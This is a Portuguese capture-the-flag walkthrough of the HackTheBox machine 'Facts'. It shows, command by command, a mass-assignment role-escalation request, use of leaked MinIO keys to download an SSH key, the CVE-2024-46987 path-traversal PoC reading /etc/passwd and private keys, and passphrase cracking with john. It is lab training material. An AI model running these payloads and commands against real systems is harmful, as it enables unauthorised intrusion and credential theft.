
HTB Facts é uma máquina Linux fácil com Camaleon CMS e MinIO. Obtenha acesso admin via registro aberto e uma vulnerabilidade de atribuição em massa, depois extraia credenciais MinIO das configurações de admin. Use o path traversal CVE-2024-46987 para roubar uma chave privada SSH, quebre sua passphrase e escale para root abusando das permissões sudo no facter via GTFOBins.
OS: Linux
Tags: Web, MinIO, Camaleon CMS, Path Traversal, Escalação de Privilégios
Comece com uma varredura completa de portas TCP para identificar os serviços abertos.
nmap -p- --min-rate 5000 -T4 10.129.244.96
Resultados:
| Porta | Serviço | Observações |
|---|---|---|
| 22 | SSH | OpenSSH |
| 80 | HTTP | Nginx 1.26.3 (Ubuntu) |
| 54321 | Desconhecido | Identificado como MinIO |
Adicione o alvo ao /etc/hosts:
echo "10.129.244.96 facts.htb" >> /etc/hosts
Ao acessar http://facts.htb, encontra-se um site de curiosidades construído sobre o Camaleon CMS (Ruby on Rails). Indicadores principais:
_factsapp_session (sessão Rails)/assets/themes/camaleon_first/nginx/1.26.3 (Ubuntu)Enumere o sitemap para todas as páginas disponíveis:
curl -s http://facts.htb/sitemap.xml
Caminhos notáveis descobertos:
/admin → redireciona para /admin/login/rss/animal-ejected, /anne-frank, etc.Verifique o painel de login administrativo:
curl -v http://facts.htb/admin
# → 302 redirect to /admin/login
Sondar a porta desconhecida com curl revela o MinIO, um serviço de armazenamento de objetos compatível com S3:
curl -v http://facts.htb:54321
Resposta:
<Error>
<Code>AccessDenied</Code>
<Message>Access Denied.</Message>
</Error>
Os cabeçalhos confirmam: Server: MinIO
Sonde possíveis nomes de buckets (uma resposta 403 sozinha não confirma que um bucket existe):
for bucket in facts backup uploads media files images data private secret admin internal; do
code=$(curl -s -o /dev/null -w "%{http_code}" http://facts.htb:54321/$bucket)
echo "$bucket: $code"
done
Todos retornam 403 Forbidden — os buckets existem, mas exigem credenciais.
A partir dos caminhos de assets e do cookie de sessão, o CMS é identificado como Camaleon CMS.
Verifique vulnerabilidades conhecidas:
searchsploit camaleon
Resultados:
Camaleon CMS v2.7.0 - Server-Side Template Injection (SSTI) | ruby/webapps/51489.txt
A versão do painel administrativo é confirmada como 2.9.0 (visível no rodapé após o login).
A página de login administrativo em http://facts.htb/admin/login inclui um link "Create an account". Registre uma nova conta:
http://facts.htb/admin/users/sign_uptest123 / test123)ClientApós o registro, faça login no painel administrativo. A conta possui privilégios limitados de Client.
O Camaleon CMS é vulnerável a um ataque de mass assignment no endpoint de alteração de senha. Ao interceptar a requisição de alteração de senha e injetar um parâmetro password[role], um atacante pode escalar seu próprio papel para admin.
Passos usando o Burp Suite:
Client.Profile → Edit → Change Password.&password[role]=admin ao corpo da requisição:_method=patch&authenticity_token=<TOKEN>&password%5Bpassword%5D=test123&password%5Bpassword_confirmation%5D=test123&password[role]=admin
200 OK.A conta agora possui privilégios de admin, concedendo acesso total ao painel administrativo do CMS, incluindo Settings, Media e Filesystem Settings.
Com acesso administrativo, navegue até:
Settings → General Site → Filesystem Settings
A página revela credenciais do MinIO (compatível com AWS S3) embutidas no código:
AWS S3 Access Key: AKIA59D605615FFC8875
AWS S3 Secret Key: O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt
AWS S3 Bucket Name: randomfacts
AWS S3 Region: us-east-1
AWS S3 Endpoint: http://localhost:54321
Configure o AWS CLI e enumere os buckets:
export AWS_ACCESS_KEY_ID='AKIA59D605615FFC8875'
export AWS_SECRET_ACCESS_KEY='O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt'
export AWS_DEFAULT_REGION='us-east-1'
aws s3 ls --endpoint-url http://facts.htb:54321
Buckets descobertos:
2025-09-11 internal
2025-09-11 randomfacts
O bucket internal contém o diretório home do usuário trivia:
aws s3 ls s3://internal/ --endpoint-url http://facts.htb:54321
aws s3 ls s3://internal/.ssh/ --endpoint-url http://facts.htb:54321
# Download the SSH private key
aws s3 cp s3://internal/.ssh/id_ed25519 ./id_ed25519 --endpoint-url http://facts.htb:54321
Alternativamente, a chave privada SSH pode ser obtida via CVE-2024-46987, uma vulnerabilidade de path traversal autenticada no Camaleon CMS que permite a leitura de arquivos arbitrários do servidor.
Clone o PoC público:
git clone https://github.com/Goultarde/CVE-2024-46987
cd CVE-2024-46987
Leia arquivos sensíveis:
# Step 1: Read /etc/passwd to enumerate system users
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /etc/passwd
Saída (linhas relevantes):
trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash
Dois usuários são identificados: trivia e william. Como trivia possui um shell de login e um diretório home, verifique a existência de uma chave privada SSH:
# Step 2: Read trivia's SSH private key
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /home/trivia/.ssh/id_ed25519
Salve a saída da chave em um arquivo:
chmod 600 id_ed25519
A chave privada SSH está criptografada com uma passphrase. Use ssh2john e john para quebrá-la:
ssh2john id_ed25519 > ssh.hash
john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt
Passphrase quebrada: dragonballz
ssh -i id_ed25519 [email protected]
# Enter passphrase: dragonballz
Obtenha a flag de usuário:
cat /home/william/user.txt
Verifique os privilégios sudo do usuário trivia:
sudo -l
Saída:
User trivia may run the following commands on facts:
(ALL) NOPASSWD: /usr/bin/facter
O usuário pode executar /usr/bin/facter como root sem senha. O facter é uma ferramenta de informações do sistema baseada em Ruby.